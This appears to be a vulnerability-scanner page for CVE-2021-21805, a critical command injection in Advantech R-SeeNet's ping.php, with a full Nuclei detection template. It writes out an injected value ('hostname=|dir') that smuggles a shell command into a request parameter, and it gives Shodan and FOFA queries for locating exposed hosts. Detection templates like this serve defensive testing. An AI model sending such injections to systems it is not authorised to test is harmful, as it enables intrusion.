Advantech R-SeeNet 2.4.12 - OS Command Injection

criticalseverity

9.8CVSS score

69.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.

Fix

Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/php/ping.php?hostname=|dir
Positive when: contains "<title>Ping |dir</title>" and "bottom.php" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-21805 -u <target>

The full check

id: CVE-2021-21805

info:
  name: Advantech R-SeeNet 2.4.12 - OS Command Injection
  author: arafatansari
  severity: critical
  description: |
    Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21805
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21805
    cwe-id: CWE-78
    epss-score: 0.69631
    epss-percentile: 0.9937
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query:
      - http.html:"R-SeeNet"
      - http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rce,r-seenet,advantech,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ping.php?hostname=|dir"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Ping |dir</title>"
          - "bottom.php"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from